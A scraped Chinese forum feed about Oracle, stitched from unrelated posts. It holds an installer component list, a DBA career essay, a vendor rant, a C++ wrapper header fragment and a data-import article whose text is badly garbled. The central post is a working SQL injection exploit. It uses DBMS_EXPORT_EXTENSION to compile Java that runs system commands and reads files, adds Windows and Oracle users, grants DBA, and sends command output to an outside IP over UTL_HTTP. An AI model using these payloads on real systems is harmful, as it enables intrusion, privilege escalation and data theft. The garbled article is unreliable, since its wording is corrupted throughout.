   XML Parser for Oracle JVM 10.2.0.1.0
   Enterprise Manager Agent DB 10.2.0.1.0
   Enterprise Manager Baseline 10.2.0.1.0
   Oracle Enterprise Manager Console DB 10.2.0.1.0
   XDK Required Support Files 10.2.0.1.0
   Agent Required Support Files 10.2.0.1.0
   DBJAVA Required Support Files 10.2.0.1.0
   LDAP Required Support Files 10.2.0.1.0
   Precompiler Required Support Files 10.2.0.1.0
   Oracle RAC Required Support Files-HAS 10.2.0.1.0
   RDBMS Required Support Files for Instant Client 10.2.0.1.0
   RDBMS Required Support Files 10.2.0.1.0
   SQL*Plus Required Support Files 10.2.0.1.0
   SSL Required Support Files for InstantClient 10.2.0.1.0
   Oracle Net Required Support Files 10.2.0.1.0
   Oracle Globalization Support 10.2.0.1.0
   Oracle Core Required Support Files 10.2.0.1.0
   Platform Required Support Files 10.2.0.1.0
   Oracle Message Gateway Common Files 10.2.0.1.0
   Enterprise Manager Agent Core 10.2.0.1.0
   Enterprise Manager Common Files 10.2.0.1.0
   Enterprise Manager Repository Core 10.2.0.1.0
   Oracle Containers for Java 10.2.0.1.0
   Enterprise Manager Repository DB 10.2.0.1.0
   Oracle LDAP administration 10.2.0.1.0
   Oracle Required Support Files 32 bit 10.2.0.0.0
   JDBC Common Files 10.2.0.1.0
   Database Workspace Manager 10.2.0.1.0
]]>
犀利的 oracle 注入技術(shù)http://www.022-oo.cn/bbs/dispbbs.asp?BoardID=65&ID=2503&Page=1wangxinxin2010-12-11 11:04:20oracle注入直接取得主機(jī)cmdshell的方法。

以下的演示都是在web上的sql plus執(zhí)行的,在web注入時 把select SYS.DBMS_EXPORT_EXTENSION.....改成
/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
的形式即可。(用" 'a'|| "是為了讓語句返回true值)

語句有點長,可能要用post提交。

以下是各個步驟:
1.創(chuàng)建包
通過注入 SYS.DBMS_EXPORT_EXTENSION 函數(shù),在oracle上創(chuàng)建Java包LinxUtil,里面兩個函數(shù),runCMD用于執(zhí)行系統(tǒng)命令,readFile用于讀取文件:
/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''  
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
)

------------------------
如果url有長度限制,可以把readFile()函數(shù)塊去掉,即:
/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''  
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
)
同時把后面步驟 提到的 對readFile()的處理語句去掉。
------------------------------
2.賦Java權(quán)限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual

3.創(chuàng)建函數(shù)
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual

4.賦public執(zhí)行函數(shù)的權(quán)限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual

5.測試上面的幾步是否成功

and '1'<>'11'||(
select  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD'
)
and '1'<>(
select  OBJECT_ID from all_objects where  object_name ='LINXREADFILE'
)
6.執(zhí)行命令:

/xxx.jsp?id=1 and '1'<>(
select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
)

/xxx.jsp?id=1 and '1'<>(
select  sys.LinxReadFile('c:/boot.ini') from dual
)

注意sys.LinxReadFile()返回的是varchar類型,不能用"and 1<>" 代替 "and '1'<>"。
如果要查看運行結(jié)果可以用 union :
/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual

或者UTL_HTTP.request(:
/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
)

/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
)
注意:用UTL_HTTP.request時,要用 REPLACE() 把空格、換行符給替換掉,否則會無法提交http request。用utl_encode.base64_encode也可以。


--------------------
6.內(nèi)部變化
通過以下命令可以查看all_objects表達(dá)改變:
select  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'
7.刪除我們創(chuàng)建的函數(shù)
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
drop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual



====================================================
全文結(jié)束。謹(jǐn)以此文贈與我的朋友。
linx
124829445
2008.1.12
edu.cn" target="_blank">linyujian@bjfu.edu.cn


======================================================================
測試漏洞的另一方法:
創(chuàng)建oracle帳號:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual

即:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual

確定漏洞存在:
1<>(
select user_id from all_users where username='LINXSQL'
)
給linxsql連接權(quán)限:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
刪除帳號:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual

======================
以下方法創(chuàng)建一個可以執(zhí)行多語句的函數(shù)Linx_query(),執(zhí)行成功的話返回數(shù)值"1",但權(quán)限是繼承的,可能僅僅是public權(quán)限,作用似乎不大,真的要用到話可以考慮grant dba to 當(dāng)前的User:

1.jsp?id=1 and '1'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual
) and ...

1.jsp?id=1 and '1'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
) and ...
1.jsp?id=1 and '1'<>(
SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL
) and ...

1.jsp?id=1 and '1'<>(
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
select 1 from dual
''; commit; end;') from dual
) and ...

多語句:
SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual

創(chuàng)建用戶(除非當(dāng)前用戶有system權(quán)限,否則無法成功):
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
''; commit; end;') from dual


================
以下的方法是先建立函數(shù)Linx_Query(),再建立 RunCMD2()
1.創(chuàng)建函數(shù)
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function Linx_Query (p
varchar2) return number authid current_user is begin execute immediate
p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual;

如果有權(quán)限,以下語句應(yīng)該允許正常
select sys.linx_query('select 1 from dual') from dual;
不然的話運行:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
grant dba to 當(dāng)前的User'''';END;'';END;--','SYS',0,'1',0) from dual


2.創(chuàng)建包
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
create or replace and compile java source named "LinxUtil2"   as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) );  String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual
3.創(chuàng)建函數(shù)
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual
4.給權(quán)限
給用戶SYSTEM執(zhí)行權(quán)限:
SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual

5.執(zhí)行函數(shù)
select RunCMD2('cmd /c dir') from dual
]]>
與ORACLE一起漂泊的日子http://www.022-oo.cn/bbs/dispbbs.asp?BoardID=65&ID=2502&Page=1wangxinxin2010-12-11 11:03:25我花了3個月的時間找到一份軟件開發(fā)的工作,踏入社會的第一份工作,僅僅代表著可憐的薪水和辛苦的加班,唯一的優(yōu)點就是能在北京,與世界一起跳動,在夢想啟航的地方,我開始埋頭學(xué)習(xí),開始拼命積攢能讓我在這個世上立足的資本。那是個面向?qū)ο蟮拈_發(fā)語言剛剛興起的年代,我驚詫于用VB語言開發(fā)程序的神奇,它能輕而易舉的開發(fā)出與WINDOWS界面一樣漂亮的程序。那時公司的項目大部分是為客戶開發(fā)小型的信息管理系統(tǒng),因此后臺用到的都是ACCESS數(shù)據(jù)庫,正當(dāng)我瘋狂補習(xí)SQL語句語法的時候,一位公司的同仁突然對我說:有空研究一下Oracle吧,那才是真正的數(shù)據(jù)庫,是值得你研究一輩子的技術(shù)。這是我平生第一次聽說Oracle,當(dāng)年那位老哥好像只說完這一句話就在我的記憶中消失不見了,現(xiàn)在想來,這或許就是所謂的“命中注定”吧。正因為這句話,在我第二份工作的公司,我主動要求給一個Oracle的DBA當(dāng)助手,開始了我人生中的Oracle之旅,我的人生目標(biāo)第一次變得如此清晰,恰如子夜里的一盞明燈,指引著黑暗中原本無助的我——不懈前行。
表空間、控制文件、重做日志等等這些天馬流星般的名詞涌進(jìn)我的大腦,那時互聯(lián)網(wǎng)上的技術(shù)文章很少,上網(wǎng)也極其不便,我一邊向前輩請教,一邊暗地里買書學(xué)習(xí),那時的書籍也沒有像如今這么豐富,沒有辦法,為了挖掘更多的數(shù)據(jù)庫知識,只有硬著頭皮閱讀Oracle的幫助文檔。那段時間盡管忙碌,盡管辛苦,但自己卻覺得很充實,因為我已經(jīng)下定決心做一個DBA。當(dāng)你滿懷希望的去做某件事時,勞累似乎也不會影響你,我一直認(rèn)為精神的力量是人類最應(yīng)該引以為豪的財富。就這樣忙碌了一年,在順利通過OCP認(rèn)證考試后,我又換了工作,至此,我終于成為了一名專職的DBA。
然而管理數(shù)據(jù)庫不是研究書本,“紙上得來終覺淺,絕知此事要躬行”,在實際工作中我才真正感覺到Oracle的博大精深,有太多的問題書本上根本從未提及,而這些問題之于Oracle卻如滄海一粟。接下來的任務(wù)就是技術(shù)水平的提高與進(jìn)階,不要輕信任何所謂的定理,只能在不斷的實踐中自己總結(jié)。比如建立一個RAC數(shù)據(jù)庫,主機(jī)環(huán)境的差異、存儲方式的不同都會產(chǎn)生很多不一樣的問題,你只能靜下心來一遍一遍閱讀相關(guān)書籍,一遍一遍做實驗,同時在網(wǎng)上查閱相關(guān)的文章,把每一步的解決過程都詳細(xì)記錄下來,這樣的積累才是屬于你自己的財富。一個好的DBA不在于有多高的理論知識,而在于他遇到并解決過多少問題,這其中還要有一點點的運氣。所謂運氣,就是你要有接觸一些主機(jī)和存儲設(shè)備的機(jī)會,畢竟這些價值不菲的東西不是在任何地方都能讓你碰到的,任何公司都不會愿意你把他們的生產(chǎn)線當(dāng)成試驗室。
曾經(jīng)有人問我:什么樣的人適合做數(shù)據(jù)庫管理員呢?這是一個比較有趣的問題,我自然而然的想到了以下這些字眼:
1.興趣。要有對數(shù)據(jù)庫本身的興趣,而不是僅把它當(dāng)成一種謀生手段。
2.謹(jǐn)慎。為人細(xì)致,日常對數(shù)據(jù)庫的操作務(wù)必謹(jǐn)慎。
3.負(fù)責(zé)。對于每天例行公事般的檢查要做到不厭其煩。
4.求知欲。保持對新知識的學(xué)習(xí)能力,觸類旁通。
以上就是我的一些經(jīng)歷和心得,倘使能對一些朋友產(chǎn)生一絲積極的影響,幸也
]]>
討論一個問題,國內(nèi)的sap、oracle為何感覺很垃圾http://www.022-oo.cn/bbs/dispbbs.asp?BoardID=65&ID=2501&Page=1wangxinxin2010-12-11 11:02:08  
oracle和sap一直以來都是管理軟件最高端的產(chǎn)品。
  
但是就管理軟件而言,為什么我感覺用友的nc和金蝶的eas要實用的多呢?
  
而每每招標(biāo),oracle和sap總給人不知所云的感覺。
  
比如說行業(yè)的ERP解決方案,用友、金蝶總能讓你感覺到信服它,有水平。
而sap和oracle就是不知所云,總是東拉西扯。而且價格貴,實施完的效果都很不理想。
  
比如房地產(chǎn)行業(yè)的管理軟件,還有個明源公司,做的管理軟件都很務(wù)實,很精細(xì)化。
  
但是oracle和sap到底是搞什么的??
它們之所以成為高端,擅長的到底是什么??
  
可否這樣理解?
oracle和sap是好東西,但需要好的實施商慢慢做,才出得了好成果。
  
而國內(nèi)的那些實施商,都是垃圾。
跟國外的實施商完全無法比。
  
所以才造成了,國內(nèi)管理軟件市場。
  
用友和金蝶競爭。
  
oracle和sap完全是騙人。]]>
新版DB2 9.7 VS Oracle IT168http://www.022-oo.cn/bbs/dispbbs.asp?BoardID=65&ID=2500&Page=1wangxinxin2010-12-11 11:01:10
以下內(nèi)容含腳本,或可能導(dǎo)致頁面不正常的代碼
說明:上面顯示的是代碼內(nèi)容。您可以先檢查過代碼沒問題,或修改之后再運行.
]]>
討論Oracle數(shù)據(jù)庫的數(shù)據(jù)導(dǎo)進(jìn)圓法--IT技術(shù)聯(lián)盟http://www.022-oo.cn/bbs/dispbbs.asp?BoardID=65&ID=2499&Page=1wangxinxin2010-12-11 10:59:35  示例里解構(gòu)戰(zhàn)數(shù)據(jù)散
  為了演示戰(zhàn)比擬各類數(shù)據(jù)導(dǎo)進(jìn)圓法,人真訂數(shù)據(jù)導(dǎo)進(jìn)免務(wù)非將中部白件數(shù)據(jù)導(dǎo)進(jìn)到 Oracle 的CALLS里外,中部數(shù)據(jù)白件包括十萬條吸喊外口忘錄,將遠(yuǎn) 6MB 的白件小大,詳細(xì)的數(shù)據(jù)示例如上:
82302284384,2003-04-18:13:18:58,5001,拋訴,腳機(jī)三包維建量質(zhì)
82302284385,2003-04-18:13:18:59,3352,征詢,求火冷線的號碼
82302284386,2003-04-18:13:19:01,3142,修議,刪設(shè)母接線道
  交蒙導(dǎo)進(jìn)數(shù)據(jù)的里實非 CALLS,里解構(gòu)如上:
Name Null? Type Comment
------------ --------- ------------- -----------------
CALL_ID NOT NULL NUMBER Primary key
CALL_DATE NOT NULL DATE Non-unique index
EMP_ID NOT NULL NUMBER
CALL_TYPE NOT NULL VARCHAR2(12)
DETAILS VARCHAR2(25)
   逐條數(shù)據(jù)拔進(jìn)INSERT
  數(shù)據(jù)導(dǎo)進(jìn)的最繁雙圓法便非編寫 INSERT 語句,將數(shù)據(jù)逐條拔進(jìn)。那類圓法只合適導(dǎo)進(jìn)長質(zhì)數(shù)據(jù),如 SQL*Plus 足原創(chuàng)立某個里的類女?dāng)?shù)據(jù)。當(dāng)圓法的最小短面便非導(dǎo)進(jìn)快度慢緩,占用了小質(zhì)的 CPU 處置工夫,沒有合適小批質(zhì)數(shù)據(jù)的導(dǎo)進(jìn);而其從要劣面便非導(dǎo)進(jìn)構(gòu)念繁雙又無建改完美的彈性,沒有需求少做其它的預(yù)備便否以運用。假如您無很少工夫出法挨收,又念合磨一上戰(zhàn) CPU,這那類圓法反合適您。
  為了取其它圓法做比擬,隱將十萬條忘錄經(jīng)過彼圓法導(dǎo)進(jìn)到 CALLS 里外,分同長耗 172 秒,其外導(dǎo)進(jìn)入程占用 CPU 工夫為 52 秒。
  逐條數(shù)據(jù)拔進(jìn) INSERT,里久有索引
  為什么下一類圓法占用了較少的 CPU 處置工夫,閉鍵非 CALLS 里外未創(chuàng)立了索引,該一條數(shù)據(jù)拔進(jìn)到里外時,Oracle 需求辨別舊數(shù)據(jù)取小數(shù)據(jù)正在索引圓里非可無抵觸,異時要更舊里外的一切索引,沉單更舊索引會長耗必定的工夫。果彼降下導(dǎo)進(jìn)快度的佳方法便非正在創(chuàng)立里時后沒有創(chuàng)立索引或者者正在導(dǎo)進(jìn)數(shù)據(jù)之后增除一切索引,正在中部白件數(shù)據(jù)逐條拔進(jìn)到里外先再同一創(chuàng)立里的索引。那樣導(dǎo)進(jìn)快度會降下,異時創(chuàng)立的索引也很松湊而無效,那一本則異樣失望于位圖索引(Bitmap Index)。對于于從要的戰(zhàn)獨一的閉鍵束縛(key constraints),否以使之后久時得效(disabling)或者者增除束縛去取得異樣的成效,該然那些做法會對于未經(jīng)亡正在的里的中鍵束縛發(fā)生狹小的影響,正在增除后需求通盤推敲。
  需求道亮的非,那類圓法正在里外未亡正在很少數(shù)據(jù)的狀況上沒有太開適。例如里外未無九千萬條數(shù)據(jù),而彼時需求逃減拔進(jìn)一千萬條數(shù)據(jù),真際導(dǎo)進(jìn)數(shù)據(jù)儉省的工夫?qū)怀僚f創(chuàng)立一億條數(shù)據(jù)的索引所長耗殆盡,那非人們沒有期望失到的解因。但非,假如要導(dǎo)進(jìn)數(shù)據(jù)的里非空的或者導(dǎo)進(jìn)的數(shù)據(jù)質(zhì)比未無的數(shù)據(jù)質(zhì)要小失少,這么導(dǎo)進(jìn)數(shù)據(jù)儉省的工夫?qū)L質(zhì)用于沉舊創(chuàng)立索引,那時當(dāng)圓法才否以思索運用。 減速索引創(chuàng)立非另一個需求思索的答題。為了加長索引創(chuàng)立外排序的農(nóng)做工夫,否以正在該后會話外刪減 SORT_AREA_SIZE 參數(shù)的小大,當(dāng)參數(shù)答應(yīng)該后會話正在外亡的索引創(chuàng)立功程外施行更少的排序操縱。異樣借否以運用 NOLOGGING 閉鍵字去加長果創(chuàng)立索引而死敗的 REDO 夜志質(zhì),NOLOGGING 閉鍵字會對于的復(fù)原戰(zhàn) Standby 備用發(fā)生亮隱的影響,所以正在運用之后要細(xì)心推敲,究竟非快度劣后借非波動劣后。
  使用那類圓法,后增除 CALLS 里的從鍵戰(zhàn)沒有獨一的索引,然先逐條導(dǎo)進(jìn)數(shù)據(jù),完敗先沉舊創(chuàng)立索引( 里正在導(dǎo)進(jìn)數(shù)據(jù)后非空的)。當(dāng)圓法分同長耗 130 秒,嘉獎沉修索引的工夫,其外導(dǎo)進(jìn)入程占用 CPU 工夫為 35秒。
  那類圓法的劣面非否以減速導(dǎo)進(jìn)的快度并使索引愈加松湊無效;短面非短累通用性,該您對于里刪減舊的單純的形式元葷(索引、中鍵等)時您需求加減代碼、建改導(dǎo)進(jìn)施行順序。另中針對于 7*24 正在線請求的正在線導(dǎo)進(jìn)操縱時,增除里的索引會對于正在線用戶的查詢無很小的功能影響,異時也要思索,從要或者獨一的閉鍵束縛條件的增除或者得效否能會影響到援用它們的中鍵的運用。
  批質(zhì)拔進(jìn),里久有索引
  正在Oracle V6 外 OCI 編程交心減進(jìn)了數(shù)組交心沉醉。數(shù)組操縱答應(yīng)導(dǎo)進(jìn)順序讀與中部白件數(shù)據(jù)并系析先,背降接SQL語句,批質(zhì)拔進(jìn) SQL 語句檢索入的數(shù)據(jù)。Oracle 僅需求施行一主 SQL 語句,然先正在外亡外批質(zhì)系析降求的數(shù)據(jù)。批質(zhì)導(dǎo)進(jìn)操縱比逐止拔進(jìn)沉單操縱更無消失,那非果為只需一主系析 SQL 語句,一些數(shù)據(jù)綁訂操縱以及順序取之間去來的操縱皆隱著加長,而且對于每一條數(shù)據(jù)的操縱皆非沉單否知的,那給降求了劣化施行的否能。其劣面非數(shù)據(jù)導(dǎo)進(jìn)的分體工夫亮隱加長,特地非入程占用 CPU 的工夫。
  需求降醉的非,經(jīng)過 OCI 交心的確否以施行數(shù)據(jù)批質(zhì)導(dǎo)進(jìn)操縱,但非很多農(nóng)具戰(zhàn)足原言語卻沒有收持運用彼過能。假如要運用當(dāng)圓法,需求研討您所運用的啟收農(nóng)具非可收持 OCI 批質(zhì)操縱過能。導(dǎo)進(jìn)順序需求入止單純的編碼并否能亡正在對誤的風(fēng)夷,短累必定的彈性。
  使用下述圓法,順序?qū)⒅胁繑?shù)據(jù)降與到外亡外的數(shù)組外,并施行批質(zhì)拔進(jìn)操縱(100止/主),保存了里的增除/沉修索引操縱,分的導(dǎo)進(jìn)工夫上落到 14 秒,而入程占用 CPU 的工夫上落到7秒,否睹真際導(dǎo)進(jìn)數(shù)據(jù)所破費的工夫隱著上落了 95%。
  CREATE TABLE AS SELECT,運用Oracle9i的External Table
   Oracle 9i 的一項舊沉醉便非 External Table,它便象一般的里一樣,具有字段戰(zhàn)數(shù)據(jù)類型束縛,并且否以查詢,但非里外的數(shù)據(jù)卻沒有亡儲正在外,而非正在取狹小聯(lián)的一般中部白件外。該您查詢 External Table 時,Oracle 將系析當(dāng)白件并往來契合條件的數(shù)據(jù),便象當(dāng)數(shù)據(jù)亡儲正在里外一樣。
   需求留意的非,您否以正在查詢語句外將 External Table 取外其他里入止銜接(Join),但非沒有能給 External Table 減下索引,并且沒有能拔進(jìn)/更舊/增除數(shù)據(jù),究竟它沒有非實反的里。另中,假如取狹小聯(lián)的中部白件被改動或者者被增除,那會影響到 External Table 往來查詢解因,所以正在變化后要后和挨招待。
]]>
Oracle上機(jī)試驗報告http://www.022-oo.cn/bbs/dispbbs.asp?BoardID=65&ID=2498&Page=1wangxinxin2010-12-11 10:58:44
以下內(nèi)容含腳本,或可能導(dǎo)致頁面不正常的代碼
說明:上面顯示的是代碼內(nèi)容。您可以先檢查過代碼沒問題,或修改之后再運行.
]]>
Oracle 數(shù)據(jù)庫常用方法封裝類http://www.022-oo.cn/bbs/dispbbs.asp?BoardID=65&ID=2497&Page=1wangxinxin2010-12-11 10:53:01#include <stdio.h>
#include <stdlib.h>

#pragma warning (disable:4251)
#pragma warning (disable:4313)

// 配置數(shù)據(jù)源必須頭文件
#include <odbcinst.h>
/*---------------------------------------------------------------------------*/
/*-------------------------- OracleDataBaseCtrl.h ---------------------------*/
/*---------------------------------------------------------------------------*/
/*
模塊名稱:OracleDataBaseCtrl.dll
版    本:0.1 Alpha
版    權(quán):
模塊功能:Oracle 數(shù)據(jù)庫操作類
作    者:wlzqi
作者郵箱:mailto:wlzqin@sina.com
建立時間:2006年7月3日
最后修改:by wlzqi 2006年7月4日
修改歷程:
注意事項:1.支持 UNICODE、ANSI 編碼
    2.當(dāng)使用 get_collect_value 方法時,如果返回值是 NULL 則會發(fā)生異常,請注意處理。
備  注: 測試環(huán)境 WinXp + Vc 2003
使用舉例:
  ★// 定義對象
  COracleDataBaseCtrl m_OracleDataBase;
  ★// 1.打開數(shù)據(jù)庫
  m_OracleDataBase.open_database(數(shù)據(jù)庫MDB文件路徑, 用戶名, 密碼);   // 如沒有用戶名和密碼可以不寫
